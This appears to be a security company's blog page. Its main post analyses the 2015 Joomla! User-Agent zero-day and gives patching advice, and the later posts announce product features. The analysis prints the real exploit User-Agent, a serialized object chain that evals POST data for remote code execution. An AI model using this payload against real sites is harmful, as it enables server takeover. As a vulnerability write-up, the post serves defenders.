Normal view

There are new articles available, click to refresh the page.
Before yesterdayPatrolServer – Blog

In-depth analyses of the Joomla! 0-day User-Agent exploit

17 December 2015 at 16:20

On Monday, Joomla! released updates and hotfixes for all their versions. It had to patch a zero-day exploit that was already being used in the wild.Initial analysis by Sucuri, Metasploit and Reddit suggested it had something to do with the storage of the unsanitized User-Agent string into the session data. This session data was stored into an custom Joomla database (utf8_general_ci) and was executed as it was a close handler of the database. We will guide you through the exploit and explain how you can be secure by using standard security measures.

We’ve developed a PoC which injects a malicious payload executing phpinfo.

Part 1: Unsanitized use of data

The easiest part is getting data into the platform. All modern CMS’ have multiple input they take for various reasons. The sended headers, cookies, the url itself. All this data is being processed and, in a CMS, most likely stored somewhere (You’re better off using a static generator to shrink your input vector). In this case, we use the User-Agent or the HTTP_X_FORWARDED_FOR header. This header tells the server what type of client is trying to connect (operating system, browser, versions,…). This is not a mandatory step for many sites, but mainly used for statistics and some including extra javascript/css to enhance the experience of the user. In Joomla! this data is saved into the session.

// File: libraries/vendor/joomla/session/Joomla/Session/Session.php

// Check for clients browser
if (in_array('fix_browser', $this->security) && isset($_SERVER['HTTP_USER_AGENT']))
{
    $browser = $this->get('session.client.browser');

    if ($browser === null)
    {
        $this->set('session.client.browser', $_SERVER['HTTP_USER_AGENT']);
    }
    elseif ($_SERVER['HTTP_USER_AGENT'] !== $browser)
    {
        // @todo remove code:                           $this->_state   =       'error';
        // @todo remove code:                           return false;
    }
}

The code snippet above illustrates the fact that the User-Agent string is stored unescaped and unsanitized.

Advice: Always sanitize user input

Part 2: The custom session handler

Joomla! uses a custom session handler to save the session data. The function session_set_save_handler can be used to override the session handler. In the case of Joomla!, they don’t save it into files, but they save it into the database. This is what happens:

  • A session is started by session_start
  • The read handler is called and returns the session data
  • session_decode is used to decode the current session data.
  • The $_SESSION variable is filled

… Now you can change / add data to your $_SESSION array …

  • A session is closed by session_write_close (or termination of the PHP file)
  • The session variable is encoded by session_encode
  • The write handler is called to save the session data

session_encode / session_decode

This uses a special version of serialize, instead of serializing the full $_SESSION, it serializes the values and groups them together with pipes.

  • source: array(“a” => 5, “b” => 6)
  • serialize: a:2:{s:1:”a”;i:5;s:1:”b”;i:6;}
  • session_encode: a|i:5;b|i:6;

When done correctly, these functions do not introduce an attack vector. But because both are using different code, both code bases should be maintained, so they are kept code free. In case of serialize, more people look over it, while session_decode is somewhat left behind.

Joomla session handler

The handler writes the data with a PDO and uses quotes to make sure no SQL injection can happen. This is written really well.

public function write($id, $data)
{
    // Get the database connection object and verify its connected.
    $db = JFactory::getDbo();

    $data = str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);

    try
    {
        $query = $db->getQuery(true)
            ->update($db->quoteName('#__session'))
            ->set($db->quoteName('data') . ' = ' . $db->quote($data))
            ->set($db->quoteName('time') . ' = ' . $db->quote((int) time()))
            ->where($db->quoteName('session_id') . ' = ' . $db->quote($id));

      // Try to update the session data in the database table.
      $db->setQuery($query);

      if (!$db->;execute())
      {
            return false;
      }
      /* Since $db->execute did not throw an exception, so the query was successful.
         Either the data changed, or the data was identical.
         In either case we are done.
      */
      return true;
    }
    catch (Exception $e)
    {
        return false;
    }
}

Though the following line is crucial to this bug:

$data = str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);

When you serialize a class with protected variables, the difference between normal and protected variables is that protected variables are prefixed with “\0*\0”.

class CustomClass {
    protected $data = 5;
}
echo serialize(new CustomClass);

Gives you:

O:11:"CustomClass":1:{s:7:"\0*\0data";i:5;}

But MySQL data can’t save null bytes, so the custom Joomla handler converts them to something that is supported (escaped version of zeros). This is handy because HTTP headers don’t allow null bytes, so you cannot pass null bytes through the HTTP headers. You wouldn’t be able to serialize the protected variables in a class, however the custom handler makes it possible.

Advice: Don’t reinvent the wheel, use the build-in functions (e.g. session handler).

Part 3: The session_decode bug (CVE-2015-6835)

As I’ve said earlier, if session_decode would decode the data properly, this exploit would not exist. Because nowhere in Joomla, they blatantly eval or serialize the User Agent. In januari 2015 a bug was found in the unserialize function (CVE-2015-0273). It made it possible to crash PHP (or execute own code) because it recreated the internal C structures, but didn’t check types. Functions would try to consume this structure and assuming a different type (e.g. using an int as pointer). This bug was quickly patched and a new version was released.

Though, the session_decode uses the same principles and wasn’t fixed. In september 2015, the exploit CVE-2015-6835 was filled. This made it possible to inject some data into the session array by carefully crafting your decoding string.

session_decode('user_agent|s:10:"test|i:5;')

Gives you:

array(
    'user_agent' => NULL
    '10:"test"' => 5  // Injected
)

Imagine that the bold part is your User Agent in the session data. If you can terminate the string after your injected code, you can create any variable you want, even objects. In part 3, we will search a way to terminate the string, in part 4 we will search how we can create objects that will be executed.

This bug is already fixed and released in PHP 5.4.45, PHP 5.5.29, PHP 5.6.13, in all supported Ubuntu, Debian and RedHat channels. And it was all released by end september. This exploit is critical for the Joomla! exploit to work, so everybody that installs the security releases of PHP was already save! High five for all those awesome people using automatic updaters!

Advice: Make sure you always use the latest version of your software

Part 4: Making things easier, MySQL UTF-8 support

As described in the previous paragraph, we need a way to terminate the data of the session variable. Luckily, Joomla! uses an own implemented session handler that uses MySQL with utf8_general_ci collocation. Whenever this encounters an unsupported 4-byte UTF-8 symbol, it just terminates the data. After inserting the session data through the custom Joomla session handlers, the following:

user_agent|s:10:"test|i:5;𝌆";a|i:1;b|i:2;

becomes

user_agent|s:10:"test|i:5;

And we have the required structure to use the session_decode bug.

Advice: Use escape functions that removes 4-byte UTF-8 symbols from input data

Part 5: The search for an executor

Now that we have a way to add contents to the $_SESSION variable, we can also create new objects and add them to the session variable. Thus now we have to search for something that will get executed. For example, take the following class in your application.

Now we have to search after a call_user_func_array that is called upon __wakeup or __destruct and let it call the init function of our SimplePie object. Multiple valid classes can be found, but the attackers used the JDatabaseDriverMysqli class that automatically calls some cleanup code on destruction. Below are the relevant parts of the class.

Summary

This exploit uses multiple bugs in various systems to run its code: it uses an unsanitized User-Agent that is saved in the session data. Because this data is saved with a custom Joomla session handler into the database, a MySQL truncation bug can be used to trigger a session_decode exploit, to break and create custom objects. Those objects are then used to create a payload that will be executed by the disconnect handler of the JDatabaseDriverMysqli class.

In our examples, we always use phpinfo, the real attack doesn’t embed the code to execute directly, they execute the code that enters the 111 post variable:

eval("base64_decode($_POST[111])")

So most attacks are used with some form of the following User-Agent:

jklmj}__jklmjklmjk|O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";
a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;
s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;
s:8:"feed_url";s:62:"eval('base64_decode($_POST[111])');JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}

Disclaimer: We added the real exploit for educational purposes (because they can be found everywhere in the forums), don’t use them against other sites!

Solution

Many security firms are giving you firewall / mod_security rules to fix this issue. Though, there are many security experts busy in all the upstream projects. They investigate and try to fix exploits as fast as possible. Mostly fixes are released before any exploits are used in the wild. In this case, the Joomla exploit was not fixed before the attacks, but the PHP bug was already fixed for 2 months. I don’t want to give firewall rules as solution. The best solution is to stay up-to-date with all your software. Upgrade Joomla to 3.4.6 or PHP to >= 5.4.45, >= 5.5.29, >= 5.6.13 (ps. Ubuntu and Debian packages also contain the fix).

Edit

Joomla has released 2 releases (3.4.6 and 3.4.7) to solve this issue. You are secure for the exploit in this form when using the 3.4.6 update, or an updated PHP version. Though it is certainly advised to upgrade to 3.4.7 because that version adds new security measures that makes sure variants of this exploit cannot happen.

3.4.6 Fix part 1 by sanitizing user input. The User-Agent isn’t saved anymore and the HTTP_X_FORWARDED_FOR should now be an IP. 3.4.7 Fix part 4 by encoding the session data with base64 before running it through session_encode. This way the truncation cannot happen because the 4-byte UTF-8 char is transformed.

 

Check your site against the exploit with our mini-scanner and know if your all your software are up to date with our full version scanner PatrolServer.

Filter unwanted solution cards

4 January 2016 at 11:38

Today we’re releasing the Ignore functionality for your solution cards. That means you can take full control over what type of solutions you’d like to see. Just as importantly, you can now report false positives where needed.

Hide cards you no longer want to see

Imagine you would like to hide the WordPress update card like the one above. All it takes is a simple click on the Ignore button, and it will take you to a wizard-style menu where you can add constraints about ignoring that particular card.

It is possible to hide the card forever, or you can tell the filter to hide just that particular version (note, if a new version of the software gets released, the card will be visible again).

View hidden cards

When you’ve hidden solution cards, they are not really gone. As the word describes, they are just hidden. When one or more cards are no longer visible, an option will be shown to view your hidden cards. They’re present in the same format as regular ones.

If you no longer want a filter to be applied, take a look at the Filters view where you can remove your active filters.

Until next time with a new awesome feature!

PatrolServer 1.1.0

What better way to start the summer than with a brand new release of PatrolServer, we’ve very proud to announce version 1.1.0 is now available to all of you.

No matter how you use PatrolServer, whether it’s the API, or our dashboard and scanner, you’re going to love this new version. We integrated the most requested features, polished both the front and back-end and made the entire experience a whole lot faster. We put a strong focus on developers past months, keep on reading for more exciting news. You’ll love this as much as we do, for sure!

Filtering

Technically speaking, filtering cards is not a new feature, it has been enabled for most accounts for the past few months. Today, the feature is officially out of beta phase. We’ve been tweaking the ability to filter cards under the hood, as well as restoring cards is now possible by clicking the “restore” button. Below is a small demonstration on how you can filter out unwanted cards.

Verification with Bash Scanner

In the previous version, verifying your server was only possible by us sending an email to the administrator account of the domain or by uploading a HTML file to your server. We decided to put Bash Scanner a little more in the spotlight (seriously, you’ll benefit the best of the features when installing Bash Scanner), thus the new default verification method is now by using the scanner.

If you prefer to use alternative methods such as uploading the HTML file or by using email, they are still there under the “Alternate methods” tab.

Reminders

Server reminders has been the most requested feature of the past few months. Basically what it does is, at each chosen interval (either weekly or monthly), we’ll send you a reminder of all the issues on your servers over various mails. The new “Mail settings” page gives you more control over what emails you’ll get and which ones you’d like to exclude.

Analytics

You can now see detailed analytics data for your scanned servers. It might take some time until PatrolServer gathered enough information over a various amount of time, but analytics gives you a status over time of your current servers.

We also got graphs available to display the amount of exploits and vulnerabilities over time, but we leave those up to you to discover. If you’d like to visit the brand new analytics page, click on your server name on the left top, and select “Graphs”, it’s next under the filter view.

Looking at our own internal analytics has been a lot of fun, we hope you like them as much as we do!

For Developers

Brand new API documentation

PatrolServer is a service for developers to keep track of outdated software on their servers. We run a daily scan on your servers, to make sure you run updated software. We would like to make it easy for you developers to integrate with our services and delivery across many platforms. Our powerful APIs are here to provide you a smooth integration with your own project. Our developer tools allow you to access your own data within the PatrolServer architecture. Our ultimate goal is to cover most virtual facets of PatrolServer, for you to integrate whenever you want.

Developers can now enjoy the brand new API documentation pages. They are much more structured and provide examples for all interactions with the PatrolServer API.

Visit the API documentation now!

PHP SDK

The PHP SDK provides a stable interface to implement PatrolServer functionality in your own applications. The SDK makes integration child’s play. Take a look at the example below on how easy it is to intercept when your server finished scanning. You can do all kind of interactions after.

// Use the Singleton or create a separate PatrolSdk\Patrol object
use PatrolSdk\Singleton as Patrol;

Patrol::setApiKey('194786f61ea856b6468c0c41fa0d4bdb');
Patrol::setApiSecret('DC360a34e730ae96d74f545a286bfb01468cd01bb191eed49d9e421c2e56f958');

Patrol::webhook('scan_finished', function ($event) {
    $server_id = $event['server_id'];

    if ($server_id) {
        // Get the Server object from the server_id
        $server = Patrol::server($server_id);

        // Get the installed software
        $software = $server->allSoftware();
    }
});

Take a look at the PatrolServer PHP SDK on GitHub, we’ve also written a Laravel Facade with various other features such as automatically updating composer modules the moment they become outdated.

Under the hood

We detect a whole lot more software than ever before, thus we had to tweak performance in order to provide the same smooth experience as before. The team and I have rewritten card generation from scratch, with better performance in mind. We now extensively rely on caching mechanisms, as well as pre-generating data when users are the least active on our platform (eg; at midnight, we perform more resource heavy tasks than during the day).

On average, resource heavy actions are at-least 60% faster than before.

Nowadays, we support a vast majority of the most popular npm modules. We’ve added 80.000 more npm modules to the scanner and we’re counting. The PatrolServer scanner is able to find over 160.000 different installed software (+ modules, packages, …) on your server.

Feel free to give our new changes a try, and as always, thank you for using PatrolServer!

Changelog:

  • Send me mails about my server status (setting)
  • Send me mails about PatrolServer news (setting)
  • Remind me about my server statusses (setting)
  • Quick link from account settings to API settings
  • Remove account (setting)
  • Webhooks event log viewer
  • Bash Scanner is first verification option
  • Support phpMyAdmin
  • Support Joomla!
  • npm now has +30.000 modules
  • Support Magento
  • Card creation from scan results is rewritten from scratch
  • Card creation is up to 50% faster
  • Caching cards
  • Software comparer rewritten from scratch
  • Modal in/out animations
  • Logs in/out animations
  • Filtering cards
  • Add a location filter manually
  • Clear filters from hidden cards itself
  • Loading the app is remarkably faster
  • Tons of app bugfixes
  • Tons of app minor layout fixes & improvements
  • Mini scanners have a new layout
  • API documentation has a new style
  • Bucket API documentation
❌
❌